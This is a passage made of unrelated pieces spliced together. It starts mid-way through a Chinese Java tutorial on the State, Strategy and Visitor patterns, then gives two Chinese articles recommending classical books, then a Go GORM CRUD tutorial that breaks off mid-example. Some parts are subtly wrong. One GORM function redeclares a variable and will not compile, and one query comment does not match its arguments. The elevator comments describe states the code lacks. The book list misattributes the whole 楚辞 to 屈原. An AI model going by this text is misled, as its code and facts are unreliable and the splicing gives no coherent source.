        System.out.println("Doors are already closed.");
    }

    @Override
    public void move() {
        System.out.println("Moving.");
    }

    @Override
    public void stop() {
        System.out.println("Stopping.");
    }
}

// 上下文类:电梯
class Elevator {
    private ElevatorState state;

    public Elevator() {
        state = new CloseState(); // 初始状态为关门状态
    }

    public void setState(ElevatorState state) {
        this.state = state;
    }

    public void openDoors() {
        state.openDoors();
    }

    public void closeDoors() {
        state.closeDoors();
    }

    public void move() {
        state.move();
    }

    public void stop() {
        state.stop();
    }
}

// 在这个示例中,我们创建了一个模拟电梯系统,其中有开门状态和关门状态两个具体状态类,以及电梯类作为上下文类。
// 通过切换状态,电梯在不同状态下有不同的行为表现。这就是状态模式的基本思想。
public class StatePatternExample {
    public static void main(String[] args) {
        Elevator elevator = new Elevator();

        elevator.openDoors(); // 当前状态:开门
        elevator.move();      // 当前状态:开门,无法移动
        elevator.closeDoors(); // 当前状态:关门
        elevator.move();       // 当前状态:移动中
        elevator.stop();       // 当前状态:停止
        elevator.openDoors();  // 当前状态:开门
    }
}

22. 策略模式(Strategy)

问题

在某些情况下,一个软件系统可能需要根据不同的情境或条件使用不同的算法或行为,但是这些算法的选择和使用可能会频繁变化。如果将这些算法都硬编码在主要的类中,会导致代码的臃肿不堪,难以维护和扩展。需要一种方式来灵活地选择和切换不同的算法,同时又不影响到客户端代码。

解决方案

策略模式提供了一种定义一系列算法的方法,将这些算法封装成独立的策略类,并使它们可以相互替换。在客户端中,创建一个上下文(Context)对象,该对象包含一个对策略类的引用,通过该引用调用相应的策略方法。这样,客户端可以在运行时选择不同的策略,而不需要修改上下文类。

效果

策略模式的主要优点是实现了算法的解耦,使得算法可以独立于客户端而变化。它提高了代码的可维护性和扩展性,因为新的策略可以很容易地添加到系统中。然而,策略模式也可能导致类的数量增加,因为每个算法都需要一个对应的策略类。在使用策略模式时,需要权衡类的数量与灵活性之间的关系。

总之,策略模式是一种非常有用的设计模式,特别适用于需要根据情境灵活选择不同算法或行为的场景,帮助保持代码的结构清晰且易于维护。

代码示例:

// 首先,我们定义一个接口 MathOperation,表示数学操作的策略
// 定义策略接口
interface MathOperation {
    int operate(int a, int b);
}

// 实现加法策略
class Addition implements MathOperation {
    @Override
    public int operate(int a, int b) {
        return a + b;
    }
}

// 实现减法策略
class Subtraction implements MathOperation {
    @Override
    public int operate(int a, int b) {
        return a - b;
    }
}

// 实现乘法策略
class Multiplication implements MathOperation {
    @Override
    public int operate(int a, int b) {
        return a * b;
    }
}
// 然后,我们创建一个 Calculator 类,它接受一个数学操作策略,并根据用户的选择执行相应的操作
class Calculator {
    private MathOperation operation;

    public void setOperation(MathOperation operation) {
        this.operation = operation;
    }

    public int performOperation(int a, int b) {
        if (operation != null) {
            return operation.operate(a, b);
        }
        throw new IllegalStateException("No operation set");
    }
}
// 在这个示例中,我们通过创建不同的数学操作策略类来实现加法、减法和乘法功能,并通过设置不同的策略来执行不同的操作。这就是策略模式的基本思想。
public class StrategyPatternExample {
    public static void main(String[] args) {
        Calculator calculator = new Calculator();

        calculator.setOperation(new Addition());
        int result1 = calculator.performOperation(5, 3);
        System.out.println("Addition Result: " + result1);

        calculator.setOperation(new Subtraction());
        int result2 = calculator.performOperation(10, 4);
        System.out.println("Subtraction Result: " + result2);

        calculator.setOperation(new Multiplication());
        int result3 = calculator.performOperation(6, 2);
        System.out.println("Multiplication Result: " + result3);
    }
}

23. 访问者模式(Visitor)

问题

在面向对象设计中,当一个对象结构中的元素类(例如,不同类型的对象)需要进行多种不同的操作时,常常会导致操作与元素的类相耦合,从而难以扩展新的操作而不影响现有的类。此外,每次添加新的操作都需要修改已存在的元素类。

解决方案

访问者模式提出了一种解决方案,使得可以在不修改元素类的情况下,将操作从元素类中分离出来。它的核心思想是引入一个称为“访问者”的接口或类,该访问者包含了多个访问操作,每个操作对应一个元素类。元素类接受访问者,从而将自身传递给访问者,使得访问者可以对元素执行相应的操作。

效果

  • 分离关注点:访问者模式将元素类与具体操作分离,使得每个类可以专注于自身的职责,而操作则由访问者来实现。

  • 易于扩展:添加新的操作只需要增加一个新的访问者,不需要修改已存在的元素类,因此对系统的扩展更加容易。

  • 可维护性:由于每个操作被封装在独立的访问者中,使得代码更加清晰、易于维护。

  • 灵活性:可以在不修改元素类的情况下,动态地添加新的操作。

  • 不适用于频繁变化的元素类:如果元素类经常发生变化,会导致频繁修改访问者接口和实现。

总之,访问者模式适用于需要对一组不同类型的对象执行多种不同操作的情况。它在维护、扩展和修改代码时提供了更好的灵活性和可维护性。

代码示例:

// 首先,我们需要定义图形形状的接口和具体类
// 图形形状接口
interface Shape {
    void accept(ShapeVisitor visitor);
}

// 圆形类
class Circle implements Shape {
    private double radius;

    public Circle(double radius) {
        this.radius = radius;
    }

    public double getRadius() {
        return radius;
    }

    @Override
    public void accept(ShapeVisitor visitor) {
        visitor.visit(this);
    }
}

// 矩形类
class Rectangle implements Shape {
    private double width;
    private double height;

    public Rectangle(double width, double height) {
        this.width = width;
        this.height = height;
    }

    public double getWidth() {
        return width;
    }

    public double getHeight() {
        return height;
    }

    @Override
    public void accept(ShapeVisitor visitor) {
        visitor.visit(this);
    }
}
// 接下来,定义一个访问者接口和具体的访问者实现
// 访问者接口
interface ShapeVisitor {
    void visit(Circle circle);
    void visit(Rectangle rectangle);
}

// 面积计算访问者
class AreaCalculator implements ShapeVisitor {
    private double area;

    @Override
    public void visit(Circle circle) {
        area += Math.PI * circle.getRadius() * circle.getRadius();
    }

    @Override
    public void visit(Rectangle rectangle) {
        area += rectangle.getWidth() * rectangle.getHeight();
    }

    public double getArea() {
        return area;
    }
}
// 在这个示例中,访问者模式允许我们在不修改形状类的情况下,通过实现不同的访问者来执行不同的操作,例如计算面积。
// 这样,我们可以轻松地添加新的访问者来执行其他操作,同时保持形状类的不变。
public class VisitorPatternExample {
    public static void main(String[] args) {
        Circle circle = new Circle(5);
        Rectangle rectangle = new Rectangle(4, 6);

        AreaCalculator areaCalculator = new AreaCalculator();
        circle.accept(areaCalculator);
        rectangle.accept(areaCalculator);

        System.out.println("Total area: " + areaCalculator.getArea());
    }
}


在中华民族五千年的历史长河中,国学经典承载了中华民族的智慧与精神。这些经典著作不仅反映了中华民族的优秀传统文化,更包含了古人的智慧和人生哲学。在今日头条、百家号自媒体平台,我们精选了十部必读的国学经典,让读者在阅读中领悟古人的智慧,提升自身修养。

一、《论语》——儒家经典

《论语》是儒家学派的经典著作,由孔子的弟子及再传弟子整理而成。它以语录体和对话形式,记录了孔子及其弟子的言行,集中体现了孔子的政治主张、伦理道德、教育原则等。在书中,我们可以领略到孔子的智慧与思想,更好地理解中国传统文化的内涵。

二、《道德经》——道家经典

《道德经》是道家学派创始人老子的代表作,被誉为万经之王。该书短短五千字,却包含了深邃的哲学思想,涉及修身、治国、用兵、养生等多方面。阅读《道德经》,可以让我们在繁杂的世界中找到内心的平静,领悟人生智慧。

三、《孙子兵法》——兵家经典

《孙子兵法》是中国古代著名的军事著作,由孙子整理而成。该书详细阐述了战争策略、军事思想和指挥原则,被誉为兵家圣典。阅读《孙子兵法》,不仅可以帮助我们理解古代战争的策略与智慧,更能在现实生活中指导我们解决问题。

四、《易经》——预测学经典

《易经》是中国古代预测学领域的经典之作,被誉为群经之首。该书通过阴阳、五行、八卦等元素,揭示了天地间的变化规律,具有深刻的哲学内涵。阅读《易经》,可以帮助我们理解自然规律,洞悉人生运势。

五、《黄帝内经》——中医经典

《黄帝内经》是中医领域的经典之作,阐述了中医的基本理论、治病原则和药物知识。该书以黄帝与岐伯的对话形式,详细论述了人体的生理、病理以及疾病的预防与治疗。阅读《黄帝内经》,可以让我们了解中医的独特魅力,学习如何保持身体健康。

六、《诗经》——文学经典

《诗经》是中国古代文学的瑰宝,由各地民间歌谣、祭祀歌曲等组成。这些诗歌反映了当时的社会生活、人民情感和风俗习惯,具有深刻的思想内涵和艺术价值。阅读《诗经》,可以陶冶情操,提升文学修养。

七、《楚辞》——浪漫主义诗歌

《楚辞》是战国时期楚国诗人屈原所著的浪漫主义诗歌总集,表达了屈原的爱国情怀和壮志未酬的痛苦。该书以优美的语言和深邃的思想,开创了中国浪漫主义诗歌的先河。阅读《楚辞》,可以激发我们的爱国情感,感受古代诗人的豪情壮志。

八、《墨子》——墨家经典

《墨子》是墨家学派的经典著作,包含了墨子的主要思想和观点。该书强调兼爱、非攻、尚贤等理念,反映了墨子对社会公正和人类和平的追求。阅读《墨子》,可以帮助我们理解墨子的哲学思想,思考如何构建一个公平、和谐的社会。

九、《淮南子》——杂家经典

《淮南子》是一部杂家经典,汇集了先秦诸子百家的精华。该书以对话形式,阐述了道家、儒家、法家、墨家等各大流派的思想,具有很高的学术价值。阅读《淮南子》,可以拓宽我们的知识视野,领悟先秦各大流派的智慧与思想。

十、《左传》——史家经典

《左传》是一部史家经典,记录了春秋时期的历史事件和人物。该书以左丘明的注释为依据,详细叙述了春秋各国间的政治、军事、外交等事务。阅读《左传》,可以让我们了解古代历史的发展过程,领悟历史事件的智慧与教训。

以上十部国学经典是提升人生智慧的必读书籍。我们希望通过分享这些书籍的精华内容,引导读者深入了解国学经典,提升自身修养。让我们一起走进这些经典的世界,领悟古人的智慧,为人生注入更多的力量与启示。


是时候,找回美好的阅读时光

以前我们会认认真真地读一本书,甚至在书里夹一片树叶作为书签。现在,我们旁若无人地玩手机。

以前我们去图书馆。一本书就可以呆一个很美好的下午。现在,我们去电影院、去KTV、去泡吧……就是想不起图书馆那一排排的书架。

以前我们和朋友见面,聊喜欢的作家,聊一本好书。现在,我们在星巴克和朋友聊工作、聊房价、聊股票……

以前出门远行,父母会叮嘱说,“带上一本书,旅途才不会孤单。”现在出远门,我们随身带着电脑、ipad、手机,好像永远在忙碌,却永远感到孤独。

在这个浮躁的社会,我们需要读书,需要些许宁静,需要给我们的心灵找到一方净土。今天,让我们放下手机,重新找回阅读的快乐,从此做一个沉浸在书海中无法自拔的人。

下面,小编精选了17本古人留下来的智慧精华书籍,以飨大家:

一、《论语》:一部中国人人人必读的书

论语是“一部中国人人人必读的书。不仅中国人,将来此书,应成为一部世界人类的人人必读书。”

凡关心吾中华民族之生命前途,必连带关心及于吾民族文化之传统。凡关心吾民族文化传统者,又必关心及于吾古圣先师之孔子。

若使中国人,只要有读中学的程度,每人到60岁,都读《论语》40遍到100遍,那都成圣人之徒,那时的社会也会彻底变样子。

——钱穆

读《论语》,还没有读《论语》的时候是这么一个人,读了《论语》之后就变了另外一个人;如果说你读了《论语》之后还是原来那个人,表示你没有把《论语》读到脑子里头。

——朱高正(台湾著名学者哲学家)

二、《孟子》:教你如何激发斗志

《孟子》言:“吾养吾浩然之气。”

《孟子》的文气极为雄壮,如孟子其人,泰山乔岳。

儒家以孔子发端,孟子畅其源流。朱子以《孟子》次《论语》,是在学者大根大本确立之后,激发其昂扬的志气。

如《易·乾》云:“天行健,君子以自强不息”,读《孟子》,以激其发越,即是期望通过阅读《孟子》来激发学者乾健不已的精神。

三、《道德经》:大气做人,小细做事

在这复杂的社会中,很多人时常感叹自己不懂得与他人相处,老子也曾有感于复杂的人际关系,于是悟出了大气做人的三个主张,即“ 大丈夫处其厚,不居其薄;处其实,不居其华。故去彼取此。

大丈夫立身敦厚,不居于浇薄;存心朴实,不居于虚华。所以要舍弃浇薄虚华而采取朴实敦厚。这一切,说的就是要大气做人。

大气做人,若懂得了甘为居下,谦虚不争,委曲求全,则心胸也就自然开阔了,人与人之间的相处也就更美好了。这对于现代来说,特别是人际关系愈来愈复杂的时代,老子的大气思想,无非对我们在为人处世中颇有指导借鉴意义。

四、《庄子》:心无旁骛专注于一件事,结果都不会太让人失望

人生在世,一定要明白两件事:在乎什么?不在乎什么?不在乎,并非是对人生的放任,而是因为有更值得在乎的东西。

“乘物游心”,典出《庄子·人世间》,所谓乘物,就是脱出凡尘俗世,而游心,就是顺其自然,获得精神的自由。

庄子主张清静无为,一切顺其自然,摒弃“人为”,这“无为”二字乍一看有些消极避世,然而所谓“无用之为大用”,在庄子不滞于外物的自然随性中,我们可以看到一种处事法则,那就是以“不在乎”的心态去追求在乎的东西,这种心态有时候甚至比进取本身更容易靠近成功。

不在乎得失,才有好心态;不在乎名利,方有好心境;不受外物所累,便可更专注。乘物以游心,只心无旁骛专注于做好一件事情,结果都不会太让人失望。

五、《心经》:静心,净心

心浮气躁的时代,气定神闲是一种奢侈,静心专注是一种考验。

我们的心里每天都会堆满事情,生活、工作、情感,缠成线团扰乱思绪,所以我们易怒、郁结、低落,而读《心经》,在今天,依然是我们静心的良药。

在浮躁当下,读《心经》非常适合人们日常修行,工作烦闷时,读《心经》,平复心情,豁然开朗。读《心经》可断杂念,降低我执,减少烦恼。读《心经》最直接的收获,就是平心静气。在凝神静思间,你杂念渐消,清净平和。心安定了,便能摆脱烦扰,生发智慧,这恰是禅的本意所在。

六、《金刚经》:学会舍得

《金刚经》中说:“过去心不可得,现在心不可得,未来心不可得。” 这就是说,未来发生的事情,我根本就不迎上去想它;当下正在做的事情,不让它杂乱,要做什么就专心做什么;当这件事情过去了,我绝不留恋它。

每个人在“舍不得”的时候,究竟能做什么?

多年来,台湾知名作家蒋勋,早起第一件事就先盘坐读一遍《金刚经》。

为什么是《金刚经》?其实他也不十分清楚,

“只是觉得读了心安,就读下去了。”

蒋勋把《金刚经》随手带在身边,没事的时候就读一段。一次一次读。像经文里说的“ 不惊、不怖、不畏”,文字简单,初读很容易懂。不惊吓,不恐惧,不害怕,读了这几个字,懂了,觉得心安,好像就做到了。

但是,离开经文,回到生活,有一点风吹草动,东西遗失,亲人生病,病疫流行,飞机遇到乱流,狂暴风雨,打雷、闪电、地震──还是有这么多事让人害怕、恐惧、惊慌。

“ 我因此知道:读懂经文很容易,能在生活里切实做到,原来这么困难。我因此知道,原来要一次一次读,不是要读懂意思,是时时提醒自己。该“舍得”的时候,舍不得,我也一样惊慌、害怕、伤痛。

人生就是一场舍得和舍不得的旅行,引用蒋勋先生的一段文字“我们如此眷恋,放不了手;青春岁月,欢爱温暖,许许多多舍不得,原来,都必须舍得;舍不得,终究只是妄想而已。无论甘心,或不甘心,无论多么舍不得,我们最终都要学会舍得。”

七、《六祖坛经》,修心合道,明心见性

经中字字句句都妙意无穷,值得一再玩味,体悟不尽。

菩提本无树,明镜亦非台。本来无一物,何处惹尘埃。——《六祖坛经》

菩提比喻智慧,明镜比喻清净心。本来清净,又哪里会染上什么尘埃?

不是风动,不是幡动,仁者心动。——《六祖坛经》

其实说的是:不着相,不动心。

迷人口说,智者心行。——《六祖坛经》

不修证,非佛法。

无念为宗,无相为体,无住为本。——《六祖坛经》

无念是不住念,无相是不住相,无住是随它去。如此,道便通流。三者是一。

八、《孝经》:百善之首,立国之基

身体发肤,受之父母,不敢毁伤。——《孝经》

身体和头发,都是从父母那里得来的,不能随便损伤。我们的生命是父母生命的延伸,父母辛苦地养育儿女,看到儿女幸福健康,才会觉得快乐。因此正如《孝经》中说的那样,就是从考虑到父母的感受出发,要好好地珍惜生命。

夫孝,天之经也,地之义也。——《孝经》

孝,是天经地义的事情。我们都知道乌鸦反哺,羊羔跪乳的故事。“兽尤如此,人何以堪?”只有懂得感恩,才能懂得生活的美好,而父母是最值得我们感谢的人。

进思尽忠,退思补过,将顺其美,匡救其恶,故上下能相亲也。——《孝经》

君子进能对上司忠诚,退能反省自己的过错,发扬长处,补救短处,这样才能达到和谐。与其要求别人,不如改变自己,这才是和谐的关键。

九、《孙子兵法》:知己知彼,百战不殆

打得赢,也要算成本

行动必有代价,战争代价极大。不要光想着战胜,要算账,值不值得。

汉武大帝,就演绎了主骄民疲的一生,“明犯强汉者,虽远必诛。”何其霸气!汉武帝一生开疆拓土,武功赫赫,结果呢?中国从政府到民间,全部破产,国家差点都给他搞亡国了,晚年迫于巨大政治压力,下轮台罪己诏,批评自己“朕即位以来,所为狂悖,使天下愁苦,不可追悔”。

胜在准备

兵家的思想,讲究一战而定。战争不是打过来打过去,而是积蓄力量,等待时机,一战而定。

所以真正最重要的工作有两项:一是准备,二是等待。

准备是自己的事,积蓄实力,操练兵马,鼓舞士气。等待,是等待敌人犯错,等待时机出现。敌人如果不犯错,我们就很难赢。

兵法所谓的诡道,如李世民言,“多方以误“,就是想方设法引诱对方失误。比如“能而示之不能”,就是其中一个方法,也是最主要的,使用最频繁,而且屡试不爽的方法。

孙子兵法教你打赢,但首先是教你认输。

为什么人们都喜欢听“永不服输”,因为人们不爱听坏消息,不愿意听到对自己不利的真相。“认输才会赢!”。

《孙子兵法》说:“小敌之坚,大敌之擒也。”坚守不跑,就会为人所擒。

汉朝名将李陵,汉武帝要他给李广利运粮草,他耻于做后勤部队,请战率五千步卒直捣匈奴王庭,结果被匈奴十万骑包围,兵败投降。汉武帝杀了他全家,还害得替他说话的司马迁被处以宫刑。

人性的特点是要赢,但现实是很可能要输,要懂得认输。认输才会赢。

十、《红楼梦》:教你为人处世

林黛玉:入乡随俗

贾母因问黛玉念何书。黛玉道:“只刚念了《四书》。”黛玉又问姊妹们读何书。贾母道:“读的是什么书,不过是认得两个字,不是睁眼的瞎子罢了!”

宝玉便走近黛玉身边坐下,又细细打量一番,因问:“妹妹可曾读书?”黛玉道:“不曾读,只上了一年学,些须认得几个字。”

点评:外界的环境既然我们无法改变,那么,就去主动地适应环境吧。

薛宝钗:比量齐观

且说赵姨娘因见宝钗送了贾环些东西,心中甚是喜欢,想道:“怨不得别人都说那宝丫头好,会做人,很大方,如今看起来果然不错。他哥哥能带了多少东西来,他挨门儿送到,并不遗漏一处,也不露出谁薄谁厚,连我们这样没时运的,他都想到了。”

点评:人有三六九等,待人的态度应该一视同仁。

王熙凤:八面玲珑

这熙凤携着黛玉的手,上下细细打谅了一回,仍送至贾母身边坐下,因笑道:

“天下真有这样标致的人物,我今儿才算见了!况且这通身的气派,竟不像老祖宗的外孙女儿,竟是个嫡亲的孙女,怨不得老祖宗天天口头心头一时不忘。只可怜我这妹妹这样命苦,怎么姑妈偏就去世了!”说着,便用帕试泪。

点评:一朋友到我家做客,恰好那天我儿子带女朋友回家。朋友说一句,这孩子跟他爸一样,会挑!一句话夸了四个人!我们可以不爱说话,但要学会说话。

刘姥姥:难得糊涂

鸳鸯与王熙凤为了讨好贾母,故意捉弄刘姥姥。事后,当王熙凤和鸳鸯向刘姥姥道歉时,刘姥姥却说:“姑娘说那里的话?咱们哄着老太太开个心儿,有什么恼的!你先嘱咐我,我就明白了,不过大家取笑儿。我要恼,也就不说了。”

点评:做个明白人,难得糊涂事。

十一、《了凡四训》:教你如何改变自己的命运

但行好事,莫问前程

一切福田,不离方寸;从心而觅,感无不通。求在我,不独得道德仁义,亦得功名富贵。内外双得,是求有益于得也。若不反躬内省,而徒向外驰求,则求之有道,而得之有命矣,内外双失,故无益。

译文:一切的福田,都在于方寸之间,从心中去寻找,没有什么不感通的。追求在我,不单单能够得到道德仁义,也能得到荣华富贵。道德和富贵都能得到,这才是孟子说的“是求有益于得也”。如果不反省自己,只是一心向外驰求,那么也只能是求索有方法,得到全凭命运,道德与富贵都会失去,所以没有一定益处。

只要拥有了道德,富贵便会不请自来。这句话读懂了,那人生就只有一件事可以做了,这便是“但行好事,莫问前程”。

改命的开始:反省自己

云谷曰:汝自揣应得科第否?应生子否?余追省良久,曰:不应也。科第中人,类有福相,余福薄,又不能积功累行,以基厚福;兼不耐烦剧,不能容人;时或以才智盖人,直心直行,轻言妄谈。凡此皆薄福之相也,岂宜科第哉。

译文:云谷禅师说,你自己揣测一下能不能中科举?能不能生子?我想了很久,说:不应该。中科举的人,大多有福相,我福气很薄,又不能积累功德来培养后福,而且很没有耐心,不能容纳别人。我时常用自己的才智来欺压别人,直心直行,说话很随意,说了很多错话。像我这样福气浅薄之人,怎么会中科举呢?

世界上有两种值得称赞的人,一种是不犯过失的人,但这种人几乎没有,谁能说一辈子不犯错误呢?还有一种,就是有了过错能立刻改掉的人,能够做到这一步,就是人中丈夫。

效法天道,方能趋吉避凶

易为君子谋,趋吉避凶;若言天命有常,吉何可趋,凶何可避?开章第一义,便说:积善之家,必有余庆。汝信得及否?

译文:《周易》为君子谋划,趋向吉祥避开凶险。如果天命是一成不变的,那吉祥怎么可能趋向,凶险又如何避开呢?《易经》开篇就说,积累善业的家庭,必然有余下的吉祥,你信得及吗?

感 悟:言行举止符合天道,符合规律,方能趋吉避凶。云谷禅师跟袁了凡说这句话,意思是命运可以改,否则《周易》绝不会说这句话。天命不是一定的,天命是按照天道的运行规律而变化的。对于人来说,必须要效法天道,根据天道运行规律而变化,所谓“人法地,地法天,天法道,道法自然”,这才能趋吉避凶。

十二、《史记》:教你看穿一个人

通,观其所礼

一个人发达了,要看他是否还谦虚谨慎、彬彬有礼、遵守规则。

贵,观其所进

一个人地位高了,要看他推荐什么人。 他提拔什么样的人,他就是什么样的人。

富,观其所养

一个人有钱了,要看他怎么花钱,给谁花,花在什么地方。 人穷的时候节俭不乱花钱,那是资源和形势造就的;人富了以后还能保持节俭,才是品行的体现。

居,观其所亲

看一个人平常都与谁在一起: 如与贤人亲,则可重用,若与小人为伍,就要当心。

听,观其所行

听完一个人的话,要看他是不是那样去做的。 不怕说不到,就怕他说了做不到。

止,观其所好

通过一个人的爱好,能看出这个人的本质。

习,观其所言

第一次跟一个人见面的时候,他说的话不算什么。 等相处得久了,再听听他跟你说什么,是不是跟当初一致,跟当初的差别越大,人品越不好!

穷,观其所不受

人穷没关系,穷而不占小便宜,这样的人本质好。

贱,观其所不为

人地位低没关系,不卑不亢,保持自己的尊严,这样的人本质特好。

十三、《资治通鉴》:鉴于往事,资于治道

历史不是为写文章而存在的,而是提供一种智慧,《资治通鉴》就是一本提供智慧的著作,这是一部规模空前的编年体通史巨著,由北宋司马光等撰,记载上起周威烈王二十三年(前403年),下迄后周世宗显德六年(959年),前后共一千三百六十二年的历史。从北宋到清朝,《通鉴》一直是帝王经筵上经常使用的历史教材,因而被梁启超称为“皇帝教科书”。

从曾国藩到毛泽东这些政治家都喜欢读《资治通鉴》;毛泽东晚年曾对人讲,他将《资治通鉴》这部 300 多万字的史书读过“一十七遍”。

金庸除了是一个小说大师,还是时评高手。而他写时评的功底,来自读《资治通鉴》。读历史、读哲学,跟今天的事有什么关系?可是金庸说:“《资治通鉴》令我了解中国的历史规律,差不多所有中国人也按这个规律来的。”

十四、《近思录》:身边之事,日常之理

《近思录》囊括了五位顶级理学大师——周敦颐、张载、程颢、程颐、朱熹的思想精华,理学思想的主要内容在书中得到了全面阐述,是学习研究理学最为经典和权威的著作。

太极、理、气等概念,是理学经常论及的根本和核心范畴,其一切理论都是建基于这个高度之上而得出的。说白了,理学之所以让人觉得疏远和不亲切,不是因为它有问题,而是在于太高、太精英化。

譬如《近思录》的主线便是——从宇宙生成到圣人气象,循着格物穷理、存养而意诚、正心而迁善、修身而复礼、齐家而正伦理,以至治国平天下及古圣王的礼法制度,批异端而明圣贤道统。

读这本书,是啃硬骨头,对思维是极大砺炼,对认知是巨大提升。

十五、《传习录》:心外无学,传而习之

《传习录》是明代心学宗师王阳明的著作,记载了阳明先生的语录和论学书信。上卷经王阳明本人审阅;中卷里的书信出自王阳明亲笔,是他晚年的著述;下卷虽未经本人审阅,但较为具体地解说了他晚年的思想,著名的王阳明心学“四句教”就是在下卷提出。

王阳明“心即理”“致良知”“知行合一”等主要心学思想,都包含在《传习录》里。要了解千古心学的真谛和王阳明的大智慧,这本书是最佳选择,一本足矣。更为难得的是,王阳明虽是一个大学者,其书和思想却无论读书人还是非读书人,都可以读可以听、听得进听得懂,这也是心学比理学更为人喜爱的一大原因。

这本书对于现代人也有着更为紧迫切实的意义:在当下,人的欲望日渐膨胀,许多人竭尽全力攫取财富,却不明白自己的生活何以越来越迷惘和纠结,日甚一日地充满挫折与焦虑,越来越没有安全感和存在感。此时,你就需要读读《传习录》,把灼灼目光收回来,投向自己那放逐已久的心灵,由知而行,步入知行合一之途。

十六、《周易》:死生有命 富贵在天

《周易》是最能代表中国人思维方式和思维高度、广度及深度的经典,阴阳圆转、循环往复、物极必反、共生互涉等高深的哲学观念,无不脱胎于此书。读《周易》,就是参悟掌握一种天地间最为高明的思维方式。

“道可道、非常道”,天道系统是难以用文字完善表述的,却可以用符号系统完美模拟,而易经卦爻符系统正是对天道系统的完美模拟,其中精义,究之不尽、用之不穷。中国文化中重视这个符号系统的流派也有,却多落于占卜、风水等术数,实在是把易用小了。

周易中那些文字,也不过是对这个符号系统限度十分有限的破解,将重点放在这上面根本是舍本逐末。以这个认识为基础,通过研究卦爻符系统中的位置、关系、转换等去理解体悟其中的高明哲理和人事之道,才能真正体会其博大精深、奥妙无穷,以及这部书为什么是中国文化的总源头。

十七、《曾国藩家书》:唯读书可改变气质

《曾国藩家书》是曾国藩的书信集,记录了曾国藩在清道光30年至同治10年前后达30年的翰苑和从武生涯,近1500封。所涉及的内容极为广泛,是曾国藩一生的主要活动和其治政、治家、治学之道的生动反映。家书行文从容镇定,形式自由,随想而到,挥笔自如,在平淡家常中蕴育真知良言,具有极强的说服力和感召力。

一曰慎独则心安;

二曰主敬则身强;

三曰求仁则人悦;

四曰习劳则神钦。

家败离不得个奢字,

人败离不得个逸字,

讨人嫌离不得个骄字。

天下古今之庸人,皆以一惰字致败,

天下古今之才人,皆以一傲字致败。

戒骄字,以不轻易笑人为第一义,

戒惰字,以不晏起为第一义。

以耕读二字为本,乃是长久之计。

读书如譬若掘井,掘数十井而不及泉,不如掘一井而见泉。读书总以背熟经书,常讲史鉴为要,每日有常,自有进境,万不可厌常喜新,此书未完,勿换彼书耳。


1.GORM CURD

找到要操作数据库表的控制器,然后引入 models 模块

models/user.go


package models

 

type User struct { // 结构体首字母大写, 和数据库表名对应, 默认访问数据表users, 可以设置访问数据表的方法

    Id  int

    Username string

    Age int

    Email string

    AddTime int // 大驼峰命名

}

 

//配置数据库操作的表名称

func (User) TableName() string {

    return "user"

}

(1).添加数据

增加成功后会返回刚才增加的记录

//添加数据

func (con UserController) Add(c *gin.Context) {

    user := &models.User{

        Username: "张三",

        Age: 12,

        Email: "test@qq.com",

        AddTime: int(models.GetUnix()),

    }

    err := models.DB.Create(user).Error // 通过数据的指针来创建

    if err != nil {

        fmt.Println(err)

        return

    }

    fmt.Println(user)

    c.String(200, "增加数据成功")

}

更多添加语句见文档:创建 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.


(2).查找

func (con UserController) Index(c *gin.Context) {

    //查找全部

    userList := []models.User{}

    //查询所有用户,把结果保存到userList切片中

    models.DB.Find(&userList)

    c.JSON(http.StatusOK, gin.H{

        "result": userList,

    })

 

    //条件查询

    //查询age大于30的用户

    //查询数据库

    userList := []models.User{}

    models.DB.Where("age > ?", 30).Find(&userList)

    c.JSON(http.StatusOK, gin.H{

        "result": userList,

    })

}

更多查询语句:查询 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.


(3).修改

func (con UserController) Edit(c *gin.Context) {

    //查询id等于5的字段

    user := models.User{Id: 5}

    models.DB.Find(&user)

    c.JSON(200, gin.H{

        "user": user,

    })

    //更新所有数据

    user.Username = "你好"

    user.Age = 111

    models.DB.Save(&user)

 

    //更新单个列

    user1 := models.User{}

    models.DB.Model(&user1).Where("id = ?", 9).Update("username", "大")

 

    //一般情况的更新

    user2 := models.User{}

    models.DB.Where("id = ?", 1).Find(&user2)

    user2.Username = "好"

    user2.Age = 31

    models.DB.Save(&user2)

}

更多修改的方法参考:更新 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.


(4).删除

//删除数据

func (conn UserController) Delete(c *gin.Context) {

    user := models.User{Id: 1}

    models.DB.Delete(&user)

 

    //删除数据

    user1 := models.User{}

    models.DB.Where("Age = ?", 31).Delete(&user1)

}

更多删除的方法参考:删除 | GORM - The fantastic ORM library for Golang, aims to be developer friendly.


2.GORM 查询语句详解

(1).查询全部数据

    //查询全部数据

    list := []models.Nav{}

    //把结果保存到list切片中

    models.DB.Find(&list)

    c.JSON(http.StatusOK, gin.H{

        "result": list,

    })

(2).查询一条数据

    //查询一条数据

    nav := models.Nav{Id: 21}

    models.DB.Find(&nav)

    c.JSON(http.StatusOK, gin.H{

        "result": nav,

    })

    nav1 := models.Nav{}

    models.DB.First(&nav1, "21")

    c.JSON(http.StatusOK, gin.H{

        "result": nav1,

    })

 

    nav2 := models.Nav{}

    models.DB.Model(models.Nav{Id: 21}).First(&nav2)

    c.JSON(http.StatusOK, gin.H{

        "result": nav2,

    })

(3).Where

=,<,>,<=,>=,!=,IS NOT NULL,IS NULL,BETWEEN AND,NOT BETWEEN AND,IN,OR,AND,NOT,LIKE查询

    查询id>3的数据

    nav := []models.Nav{}

    models.DB.Where("id > ?", 3).Find(&nav)

    c.JSON(http.StatusOK, gin.H{

        "result": nav,

    })

    

    //查询id>3 并且 id < 9 的数据

    nav1 := []models.Nav{}

    models.DB.Where("id > ? and id < ?", 3, 9).Find(&nav1)

    c.JSON(http.StatusOK, gin.H{

        "result": nav1,

    })

    //查询id=3,5,6的数据

    nav2 := []models.Nav{}

    models.DB.Where("id in ?", []int{3, 5, 6}).Find(&nav2)

    c.JSON(http.StatusOK, gin.H{

        "result": nav2,

    })

    

    //查询标题包含 '会'的内容

    nav3 := []models.Nav{}

    models.DB.Where("title like ?", "%会%").Find(&nav3)

    c.JSON(http.StatusOK, gin.H{

        "result": nav3,

    })

    

    //查询id>3 并且 id < 9 的数据,使用between and

    nav4 := []models.Nav{}

    models.DB.Where("id between ? and ?", 3, 9).Find(&nav4)

    c.JSON(http.StatusOK, gin.H{

        "result": nav4,

    })

    //查询id=2或者iD=3的数据

    //方法一

    nav5 := []models.Nav{}

    models.DB.Where("id = ? or id =  ?", 3, 9).Find(&nav5)

    c.JSON(http.StatusOK, gin.H{

        "result": nav5,

    })

    //方法二

    nav6 := []models.Nav{}

